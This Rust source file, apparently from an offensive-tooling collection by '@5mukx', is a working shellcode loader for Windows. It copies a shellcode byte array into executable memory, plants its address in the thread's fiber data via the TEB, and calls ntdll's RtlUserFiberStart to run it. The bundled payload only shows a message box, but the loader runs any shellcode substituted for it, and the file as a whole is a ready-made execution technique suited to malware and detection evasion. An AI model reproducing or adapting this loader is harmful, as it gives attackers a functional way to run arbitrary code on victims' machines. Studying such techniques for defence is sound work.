/*
    Shellcode exec using RtlUserFiberStart
    By @5mukx

    Reference used to make the structure : 
        * https://github.com/MSxDOS/ntapi/blob/master/src/winapi_local/um/winnt.rs

*/

use windows::{
    Win32::{
        Foundation::GetLastError,
        System::{
            LibraryLoader::{GetModuleHandleA, GetProcAddress},
            Memory::{
                GetProcessHeap, HEAP_FLAGS, HeapAlloc, HeapFree, MEM_COMMIT, MEM_RELEASE,
                PAGE_EXECUTE_READWRITE, VirtualAlloc, VirtualFree,
            },
        },
    },
    core::{Error, Result, s},
};

use windows::Win32::System::Threading::TEB;

type RtlUserFiberStartFn = unsafe extern "system" fn() -> i32;


// msgbox shellcode 
static SHELLCODE: &[u8] = &[
    0xFC, 0x48, 0x81, 0xE4, 0xF0, 0xFF, 0xFF, 0xFF, 0xE8, 0xD0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41,
    0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x3E, 0x48, 0x8B, 0x52,
    0x18, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E, 0x48, 0x8B, 0x72, 0x50, 0x3E, 0x48, 0x0F, 0xB7, 0x4A,
    0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1,
    0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E,
    0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x3E, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0,
    0x74, 0x6F, 0x48, 0x01, 0xD0, 0x50, 0x3E, 0x8B, 0x48, 0x18, 0x3E, 0x44, 0x8B, 0x40, 0x20, 0x49,
    0x01, 0xD0, 0xE3, 0x5C, 0x48, 0xFF, 0xC9, 0x3E, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D,
    0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75,
    0xF1, 0x3E, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD6, 0x58, 0x3E, 0x44, 0x8B,
    0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x3E, 0x41, 0x8B, 0x0C, 0x48, 0x3E, 0x44, 0x8B, 0x40, 0x1C,
    0x49, 0x01, 0xD0, 0x3E, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E,
    0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0,
    0x58, 0x41, 0x59, 0x5A, 0x3E, 0x48, 0x8B, 0x12, 0xE9, 0x49, 0xFF, 0xFF, 0xFF, 0x5D, 0x3E, 0x48,
    0x8D, 0x8D, 0x30, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x4C, 0x77, 0x26, 0x07, 0xFF, 0xD5, 0x49, 0xC7,
    0xC1, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x48, 0x8D, 0x95, 0x0E, 0x01, 0x00, 0x00, 0x3E, 0x4C, 0x8D,
    0x85, 0x24, 0x01, 0x00, 0x00, 0x48, 0x31, 0xC9, 0x41, 0xBA, 0x45, 0x83, 0x56, 0x07, 0xFF, 0xD5,
    0x48, 0x31, 0xC9, 0x41, 0xBA, 0xF0, 0xB5, 0xA2, 0x56, 0xFF, 0xD5, 0x48, 0x65, 0x79, 0x20, 0x6D,
    0x61, 0x6E, 0x2E, 0x20, 0x49, 0x74, 0x73, 0x20, 0x6D, 0x65, 0x20, 0x53, 0x6D, 0x75, 0x6B, 0x78,
    0x00, 0x6B, 0x6E, 0x6F, 0x63, 0x6B, 0x2D, 0x6B, 0x6E, 0x6F, 0x63, 0x6B, 0x00, 0x75, 0x73, 0x65,
    0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00,
];

const TEB_FIBERDATA_PTR_OFFSET: usize = 0x20;
const FIBER_CONTEXT_RIP_OFFSET: usize = 0x0A8;
const HAS_FIBER_DATA_BIT: u8 = 0b100;

#[inline]
fn get_teb() -> *mut TEB {
    #[cfg(target_arch = "x86_64")]
    {
        let teb: *mut TEB;
        unsafe { std::arch::asm!("mov {}, gs:[0x30]", out(reg) teb) };
        teb
    }
    #[cfg(target_arch = "x86")]
    {
        let teb: *mut TEB;
        std::arch::asm!("mov {}, fs:[0x18]", out(reg) teb);
        teb
    }
}

fn main() -> Result<()> {
    unsafe {
        let ntdll = GetModuleHandleA(s!("ntdll"))?;

        if ntdll.is_invalid() {
            return Err(Error::from(GetLastError()));
        }

        let rtl_user_fiber_start = GetProcAddress(ntdll, s!("RtlUserFiberStart"))
            .expect("[-] Failed to get RtlUserFiberStart addr");

        let teb = get_teb();

        if teb.is_null() {
            return Err(windows::core::Error::from(GetLastError()));
        }

        // Set the has fiberdata bit in TEB flags
        let teb_flags = (teb as *mut u8).add(TEB_FIBERDATA_PTR_OFFSET);
        *teb_flags |= HAS_FIBER_DATA_BIT;
    

        let addr = VirtualAlloc(None, SHELLCODE.len(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        if addr.is_null() {
            return Err(windows::core::Error::from(GetLastError()));
        }

        std::ptr::copy_nonoverlapping(SHELLCODE.as_ptr(), addr as *mut u8, SHELLCODE.len());

        // allocate fiber datas !
        let fiber_data = HeapAlloc(GetProcessHeap()?, HEAP_FLAGS(0), 0x100);

        if fiber_data.is_null() {
            VirtualFree(addr, 0, MEM_RELEASE)?;
            return Err(Error::from(GetLastError()));
        }

        // Set shellcode address at fiber context RIP offset
        *(fiber_data as *mut *mut std::ffi::c_void).add(FIBER_CONTEXT_RIP_OFFSET / 8) = addr;

        // set fiberdata ptr in TEB (GS:0x20)
        #[cfg(target_arch = "x86_64")]
        {
            std::arch::asm!(
                "mov gs:[0x20], {}",
                in(reg) fiber_data,
                options(nostack)
            );
        }

        let rtl_user_fiber_start_fn: RtlUserFiberStartFn =
            std::mem::transmute(rtl_user_fiber_start);
        let status = rtl_user_fiber_start_fn();

        HeapFree(GetProcessHeap()?, HEAP_FLAGS(0), Some(fiber_data))?;

        VirtualFree(addr, 0, MEM_RELEASE)?;

        if status != 0 {
            return Err(windows::core::Error::from(GetLastError()));
        }
    }

    Ok(())
}